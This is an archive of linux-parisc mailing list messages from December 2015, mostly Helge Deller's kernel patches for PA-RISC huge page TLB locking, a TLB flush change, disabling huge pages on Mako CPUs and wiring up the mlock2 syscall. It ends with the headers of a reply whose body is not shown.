Date: Sun,  6 Dec 2015 21:43:33 +0100
Lines: 152
Approved: news@gmane.org
Message-ID: <1449434613-32214-3-git-send-email-deller@gmx.de>
References: <1449434613-32214-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1449434636 19059 80.91.229.3 (6 Dec 2015 20:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2015 20:43:56 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 21:43:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a5g9s-0006tH-7K
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Dec 2015 21:43:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754491AbbLFUnq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2015 15:43:46 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:51748 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754484AbbLFUnp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2015 15:43:45 -0500
Original-Received: from p100.box ([92.203.44.63]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LtJ5T-1aHSbK21GN-012qVp; Sun, 06 Dec 2015 21:43:38
 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1449434613-32214-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:tQPnr2dW7HpboSYDOik3LXOfoJiWU/vTMcKb0y5XjQvN5d9lZa0
 YHNWjLvLo41YDEENH6c7AahufSBCkbSga1+3Sse2wQWJL4TM06P/fI0Vx1WwGS24JRaziiE
 opO4LVxNKQHmHfIcO5Jq5KApx2PAdh6zC8Nld/HVgJlgBMavDO6sHL3aBwvoEBFjZp0IAE0
 bQcRSE2wh0x+ob2Ofv4ng==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RGaPTW+88uM=:unfqbE8wusDO6KarizmQO+
 Wa8Px4Vcb85wF/zGgRSzC/w8uZIQbgxjZJgISKmOzCQScPLd2mXA3t7UBlJ3Pu38uGvZuAcwU
 6wy7nLmQv8KrtXmQgZkYh3Y+iHD+mngj0NG6iUOMeMS9j8a9FncCJkXXIqHEhotj6yzJm8rPv
 F9TVK1gH2d4X7dmoXbyNKGGKUmhpp7FTXWVtKT5t+bx23oqkyLY8GUYUp7TuHkEkF/9xljpD0
 AH92biBDHadBAtbzeLvx9/g/KTFPjPlLZrTSe3xejwpw26hjfrMY+lp9NnyryjCf6G8c5zQCv
 ME1+oSuDfOF3su22ybM21FH7xXEPKSXOj6p87ynzmht+HqhuiMpWOl/zyFD0H4Bq9F0vkY9yO
 TMQiH/4yiWoyss0ugFY0coWUKThF5mWLonRtJ98oQh9a6VJrgq3F7dFWoz3fYBJzDpt9z9h+/
 LTYecCqxs2MvjPJoAzM9zpzktzQovR2dKcbWRE4OfbRFwSp1TNuTuT4ZsuR2vD6pW8GIS19ov
 gkJB8uCpVXf03GeAJZtIuugj6BeRZtUUOaFjmc5kC5UD2F9ZbMbZ918YsNwbIMlWxzHi9PDYq
 siPC100epL5HZlczO+WLjUJQ/1mruTvWPbXH7M6bk+RRqNG20lb+/A2E2KIFrMPv+mtllld2L
 65rf9A8Ns+iVohRAXWNdp1cSgFHbkvW7mpTlzklk/WmEIglQG2WMIZ2LSRqP/EL6JUCzWOz5B
 0jQlh6+NxFUEt5Y+2MseNhQrK+zsclszsP44qoQ0Fe2JSCtY/GZNFHGNe0U=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26176
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26176>

Protect all changes of huge page pte entries with purge_tlb_start() and
purge_tlb_end() spinlocks.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/hugetlb.h | 20 +++----------
 arch/parisc/mm/hugetlbpage.c      | 60 +++++++++++++++++++++++++++++++--------
 2 files changed, 52 insertions(+), 28 deletions(-)

diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 7d56a9c..a65d888 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -54,24 +54,12 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
 	return pte_wrprotect(pte);
 }
 
-static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
-					   unsigned long addr, pte_t *ptep)
-{
-	pte_t old_pte = *ptep;
-	set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-}
+void huge_ptep_set_wrprotect(struct mm_struct *mm,
+					   unsigned long addr, pte_t *ptep);
 
-static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
-					     pte_t pte, int dirty)
-{
-	int changed = !pte_same(*ptep, pte);
-	if (changed) {
-		set_huge_pte_at(vma->vm_mm, addr, ptep, pte);
-		flush_tlb_page(vma, addr);
-	}
-	return changed;
-}
+					     pte_t pte, int dirty);
 
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
diff --git a/arch/parisc/mm/hugetlbpage.c b/arch/parisc/mm/hugetlbpage.c
index f6fdc77..54ba392 100644
--- a/arch/parisc/mm/hugetlbpage.c
+++ b/arch/parisc/mm/hugetlbpage.c
@@ -105,15 +105,13 @@ static inline void purge_tlb_entries_huge(struct mm_struct *mm, unsigned long ad
 	addr |= _HUGE_PAGE_SIZE_ENCODING_DEFAULT;
 
 	for (i = 0; i < (1 << (HPAGE_SHIFT-REAL_HPAGE_SHIFT)); i++) {
-		mtsp(mm->context, 1);
-		pdtlb(addr);
-		if (unlikely(split_tlb))
-			pitlb(addr);
+		purge_tlb_entries(mm, addr);
 		addr += (1UL << REAL_HPAGE_SHIFT);
 	}
 }
 
-void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+/* __set_huge_pte_at() must be called holding the pa_tlb_lock. */
+static void __set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t entry)
 {
 	unsigned long addr_start;
@@ -123,14 +121,9 @@ void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 	addr_start = addr;
 
 	for (i = 0; i < (1 << HUGETLB_PAGE_ORDER); i++) {
-		/* Directly write pte entry.  We could call set_pte_at(mm, addr, ptep, entry)
-		 * instead, but then we get double locking on pa_tlb_lock. */
-		*ptep = entry;
+		set_pte(ptep, entry);
 		ptep++;
 
-		/* Drop the PAGE_SIZE/non-huge tlb entry */
-		purge_tlb_entries(mm, addr);
-
 		addr += PAGE_SIZE;
 		pte_val(entry) += PAGE_SIZE;
 	}
@@ -138,18 +131,61 @@ void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 	purge_tlb_entries_huge(mm, addr_start);
 }
 
+void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		     pte_t *ptep, pte_t entry)
+{
+	unsigned long flags;
+
+	purge_tlb_start(flags);
+	__set_huge_pte_at(mm, addr, ptep, entry);
+	purge_tlb_end(flags);
+}
+
 
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep)
 {
+	unsigned long flags;
 	pte_t entry;
 
+	purge_tlb_start(flags);
 	entry = *ptep;
-	set_huge_pte_at(mm, addr, ptep, __pte(0));
+	__set_huge_pte_at(mm, addr, ptep, __pte(0));
+	purge_tlb_end(flags);
 
 	return entry;
 }
 
+
+void huge_ptep_set_wrprotect(struct mm_struct *mm,
+				unsigned long addr, pte_t *ptep)
+{
+	unsigned long flags;
+	pte_t old_pte;
+
+	purge_tlb_start(flags);
+	old_pte = *ptep;
+	__set_huge_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
+	purge_tlb_end(flags);
+}
+
+int huge_ptep_set_access_flags(struct vm_area_struct *vma,
+				unsigned long addr, pte_t *ptep,
+				pte_t pte, int dirty)
+{
+	unsigned long flags;
+	int changed;
+
+	purge_tlb_start(flags);
+	changed = !pte_same(*ptep, pte);
+	if (changed) {
+		__set_huge_pte_at(vma->vm_mm, addr, ptep, pte);
+	}
+	purge_tlb_end(flags);
+	return changed;
+}
+
+
 int pmd_huge(pmd_t pmd)
 {
 	return 0;
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/3] parisc: Disable tlb flush optimization with huge pages
Date: Sun,  6 Dec 2015 21:43:32 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <1449434613-32214-2-git-send-email-deller@gmx.de>
References: <1449434613-32214-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1449434636 19061 80.91.229.3 (6 Dec 2015 20:43:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2015 20:43:56 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 21:43:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a5g9r-0006tH-Kp
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Dec 2015 21:43:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754479AbbLFUnq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2015 15:43:46 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:55189 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754491AbbLFUnp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2015 15:43:45 -0500
Original-Received: from p100.box ([92.203.44.63]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0M4o41-1aSx413SdJ-00z12R; Sun, 06 Dec 2015 21:43:37
 +0100
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1449434613-32214-1-git-send-email-deller@gmx.de>
X-Provags-ID: V03:K0:A+QuD0CYrQjBdMzxU4Wn5vFkkJrLdaVr+SjRTh5jJwyq9EILjAQ
 2IF2tzvM8SCLICvwcs0ach0eLQvuWl6LJJL+lHwvUf1A8rledmWnSYdbVYoFEZxgjUo+CMX
 UUq1ynM0o5YdzchL5Ycvg+bvgBJj4GY199SzEwquBOquZqEAipN5kyFdIckFKIcCCfnRban
 mC6z44VYCdfmS/uYZhipA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fl0eDN+QsiY=:nkpYA/A0O/1rzwZ/aR364L
 BSk14uVQbyGV4+V9pgQ3YKCNmpD4F1XJv9te/yxGQ5ZvNfXssCLqkZ0ir5GAzqn27jxjQbBip
 cTlSA8n8JD+1pIV3Fct70ZGTzhm4qgTLFz4tOACCou4H0+EFHPR6I21ZTsclVRdm3+aZMG61I
 XD84rM5JSCJCNCxKFENtGuPHVq6SX6UUBc6i8y649ae1hbukND0aF1Cdy2zWVQzSMj/t4ISAH
 0knBtN0tQk99Dbk+s0JVu3uP+76caaekkpBXRFvwE7SjOy8cJSpUxPJkYz+bjlrc8cAlC4K/U
 zN2o4S3BcAWlBAKPsqTnz6NHCMhnexNLq+J6x4RYIuz1IiEAPovdRs5vzGMb1BJDiv9Jntt+3
 lFWlW4hln/n531ebF6MWDIJMAkKxVxQTB2zKgcH8O49zZfD06TZQV6xYmWtoUMLhr530loJNe
 wFOXdB4oeyA8B3GijaQb+0Isw64tvnkg7y/wFJbapV9nG5cI6FZAuye1LAaKiupf1ZMvjVFSS
 B9MMR+KKnSG3S7i/0KUbRTVieWFRsPLDTnEHKaivG0N0DrP0iWdqNd2IZSKTJmQTPBS1Bh+Mn
 5XUWQ8102PVamg6jy5Nj+CxNv8XsUK/mCPc+Pblrw1beCM0K+ROy522HemXvp7OmTsW5OtuQJ
 EEaJqFScwpuk1Po7iElPcXZELhiy8fmF1X44JihjCMZkndICyYfGbis4224YSC6a8j6hmbhBp
 DBKs4020Zq6d2RfhJ6XstPSm2s3jiBwMrZqoMDzRNpu2SexsRV6T84EDEWE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26177
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26177>

It seems calling flush_tlb_all() doesn't reliable flush the tlb on all
CPUs. Disable it when used with huge pages.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/cache.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index cda6dbb..aee27e1 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -442,13 +442,15 @@ EXPORT_SYMBOL(copy_user_page);
 int __flush_tlb_range(unsigned long sid, unsigned long start,
 		      unsigned long end)
 {
-	unsigned long flags, size;
+	unsigned long flags;
 
-	size = (end - start);
+#if !defined(CONFIG_HUGETLB_PAGE)
+	unsigned long size = (end - start);
 	if (size >= parisc_tlb_flush_threshold) {
 		flush_tlb_all();
 		return 1;
 	}
+#endif
 
 	/* Purge TLB entries for small ranges using the pdtlb and
 	   pitlb instructions.  These instructions execute locally
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/3] parisc: Disable huge pages on Mako machines
Date: Sun,  6 Dec 2015 21:43:31 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1449434613-32214-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1449434638 19083 80.91.229.3 (6 Dec 2015 20:43:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2015 20:43:58 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 21:43:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a5g9r-0006tH-1s
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Dec 2015 21:43:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754492AbbLFUnp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2015 15:43:45 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:62542 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754479AbbLFUnp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2015 15:43:45 -0500
Original-Received: from p100.box ([92.203.44.63]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MGRhs-1a1IQS1ldA-00DCyE; Sun, 06 Dec 2015 21:43:36
 +0100
X-Mailer: git-send-email 2.1.0
X-Provags-ID: V03:K0:yGNGukjI8sBu/tsJ9oTL80eI/oXLiib8GshEr6mOhHl9w2uRdLX
 JJOoYS40LNwmw6FVRNaFExtSBDOHGjOLHLBCGnhZO0V56qUDEwZ2Xs4h/nQOHPijFBHv8ZY
 9DV3Y7+shjXNuvB1683YvjlDEL5fjLRO1rBMTChSOG0gF5UCJ+FOHTzfyayBwV18Q0VOVUD
 6CY5j+96b+PnkxzpjvW5Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4Z01RqOethk=:Z+FJjYW6dJN6y0ToJOSbEP
 nDL4Mdv7uxul0Kua+XjyySnxgLRk1hVQ8GZYpc+FwlNvQB6oqdDXJs3ThwBDBYwpdW0UQzwn+
 aoW88XEv+DcTHqKmA8Z8Dk6doLJrJKCv7reKWaKt1BaaZazG+lyqFGjCGpqG9DEFyBtmEU4zW
 1nv5i+SFdXVtGrYPqLLATND77ohsdc+A9/Vf+K8kQkGdqC2zhD4yEiU4Quesil5OQQ85irh1C
 Yvt3BJWHljRBfZ5DStmUkAb21/mDXtzSY6eCzJGFysBOuL9zP5PzT29kRY0/eRDGxRKDCgfaS
 dvgPg/A2FI4k4GNP7Xewx97il53GuT/B1dxnq7q0YI8kdK8bYvnMcqzpzE+4DK73gFXBt+70q
 X5yXpAP8692QycXGooBlTmMw0j7AdCva6xiU96LPkTHDgNi3rj5ZLXXuSXbsM7AdVzYnaVeoL
 vTGFl05KTVBnLPZ1uJ38hF60VnpUurPfs70W4Rt5Dm3EllAK8iTNIfTvs5hkdzgtHsSOAY1G0
 QQojXf03SlmtfToKfWT18Mtw5totQPYf+5PCmNyIZMH/nu9c8tIZFL/CkSpRcnccaLeIfSf7y
 aZeW+toqRojK290En2OEzKREahJtXwRNR33396UYiqE/+MQ0/RbTuNvzE7JEqssLsPw6hmU8j
 Olyq73VG3X8bICpTPfNemCVoGz07l3EKX6YRdYoPr8pAa5DIamJ26dQD2phgeBUDstUN96Nzg
 uo8rG3mGcuksTirNlOqMME60RHtXUFXPqJ8tnyXYb2pv7Ciydg2i35XFBNk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26178>

Mako-based machines (PA8800 and PA8900 CPUs) don't allow aliasing on
non-equaivalent addresses.

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/pgtable.h | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index d8534f9..291cee2 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -372,7 +372,8 @@ static inline pte_t pte_mkspecial(pte_t pte)	{ return pte; }
  */
 #ifdef CONFIG_HUGETLB_PAGE
 #define pte_huge(pte)           (pte_val(pte) & _PAGE_HUGE)
-#define pte_mkhuge(pte)         (__pte(pte_val(pte) | _PAGE_HUGE))
+#define pte_mkhuge(pte)         (__pte(pte_val(pte) | \
+				 (parisc_requires_coherency() ? 0 : _PAGE_HUGE)))
 #else
 #define pte_huge(pte)           (0)
 #define pte_mkhuge(pte)         (pte)
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Wire up mlock2 syscall
Date: Sun,  6 Dec 2015 21:57:19 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <1449435439-20306-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1449435458 30855 80.91.229.3 (6 Dec 2015 20:57:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 6 Dec 2015 20:57:38 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 06 21:57:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a5gN8-0000Na-6z
	for glpp-linux-parisc@plane.gmane.org; Sun, 06 Dec 2015 21:57:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754479AbbLFU53 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Dec 2015 15:57:29 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:62742 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754384AbbLFU52 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Dec 2015 15:57:28 -0500
Original-Received: from p100.box ([92.203.44.63]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LqzEB-1ajzCD0hzX-00eYq0; Sun, 06 Dec 2015 21:57:22
 +0100
X-Mailer: git-send-email 2.1.0
X-Provags-ID: V03:K0:YeiL3ewS7K94bZhXbdAoG4VkeiQ62CuTNrTk1W0AEhWWQtpGHon
 QBkJO3qqyx8QpP2amG/zzh1Sbf936j1Q54hXJwq29i7hcERyfGXgWc14xO0QtfR3ctWhwgG
 e6QcUgNJ35WOwInMvunGyAm4ChJKSiieb6ZRZvWK16oWZ1ZK4FFOjY+VLV71VtmQ7BjC7l9
 lglhglfQz6xmhOBXU8NhQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:R82HIk7rnBo=:rrgTKgKEILCV9IdiFyN3Z9
 E45R8TY2Bv4O8ry6Zvf/MBpO1ksM/xpiq6QWkGzKBp3CP5lQGy232Cv6TB847z+0XUjpM7ah+
 zRr+bwfpLKQE7yCCvctgb0O8IRaPe47HjGLcKMWPHY8MdZbVpCVQujIbzZoWXRv6UrVFM0jza
 NdwJH0CzmgFpRKwz5K3QRpGXaIfY8V7zdfEu+J18qCbWCZ2i7G52enfed5BoUa6rgJRZkmYNE
 YPq7EE/q3rAwcsZXegNhF+tocd7UQIRfi6EVbbp4AmsOXNTGjdTr7G+5RDP+q2enfyuY1a1Xk
 oiqeo5f7xuW352qQQk3Jj82BStHsrogphk9y9DLkM9zfnGlD528YBYAdx34+v83CXpKBmbhQR
 ITgHPOQjzOSPKiC90Z8o+y+d/aUHsfMAE4qwQel7QFmMGv6fmh/O0X2TzhCbqOQO3kMUS6RZW
 XvJ2vHxuQ9Qfs3CQLqAwC1YUpen7UobR8He0gb3amyVwzBt0LvMZWwYnSmY8oAh+pHz/HkLBG
 3x7FyROPnHx3OfkP1BojxwnOQ7AWIMWzY9Oifhz/rhuznqyH3d0rB878HUWJb1z08uI02HdaK
 8wye89ks3W8AdEzUXozTOHKepngmyr52V7eE3bzqD3J/dzBSvQ8wzM50gLwVmP41BBboztYw5
 cYyknsMlGnQzliC2/R81lSbWBFKi+ISuchtGij1MuTn6yiQRcRe+XhlRkSyXmZgbPPvC31fxg
 Q1deGDkOKSm2i5mEbo+Z1FQxq6ZiwWXaUwBrtpqBiauH4bI1TBt+147Btpw=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26179>

Signed-off-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/uapi/asm/unistd.h | 3 ++-
 arch/parisc/kernel/syscall_table.S    | 1 +
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index 3317038..35bdccb 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -360,8 +360,9 @@
 #define __NR_execveat		(__NR_Linux + 342)
 #define __NR_membarrier		(__NR_Linux + 343)
 #define __NR_userfaultfd	(__NR_Linux + 344)
+#define __NR_mlock2		(__NR_Linux + 345)
 
-#define __NR_Linux_syscalls	(__NR_userfaultfd + 1)
+#define __NR_Linux_syscalls	(__NR_mlock2 + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 78c3ef8..d4ffcfb 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -440,6 +440,7 @@
 	ENTRY_COMP(execveat)
 	ENTRY_SAME(membarrier)
 	ENTRY_SAME(userfaultfd)
+	ENTRY_SAME(mlock2)		/* 345 */
 
 
 .ifne (. - 90b) - (__NR_Linux_syscalls * (91b - 90b))
-- 
2.1.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/3] parisc: Disable huge pages on Mako machines
Date: Mon, 7 Dec 2015 10:13:37 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <5665A221.5050309@bell.net>
References: <1449434613-32214-1-git-send-email-deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1449501244 29776 80.91.229.3 (7 Dec 2015 15:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Dec 2015 15:14:04 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 07 16:13:50 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a5xU4-0003vY-9W
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Dec 2015 16:13:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933755AbbLGPNk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Dec 2015 10:13:40 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:15462 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S933753AbbLGPNh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Dec 2015 10:13:37 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151207151335.JSO19332.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 7 Dec 2015 10:13:35 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.31]) by mtlspm01.bell.net
          with ESMTP
          id <20151207151335.UWOB4210.mtlspm01.bell.net@[192.168.0.125]>;
          Mon, 7 Dec 2015 10:13:35 -0500
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.4.0
In-Reply-To: <1449434613-32214-1-git-send-email-deller@gmx.de>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5665A21F.00A8,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26180
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26180>

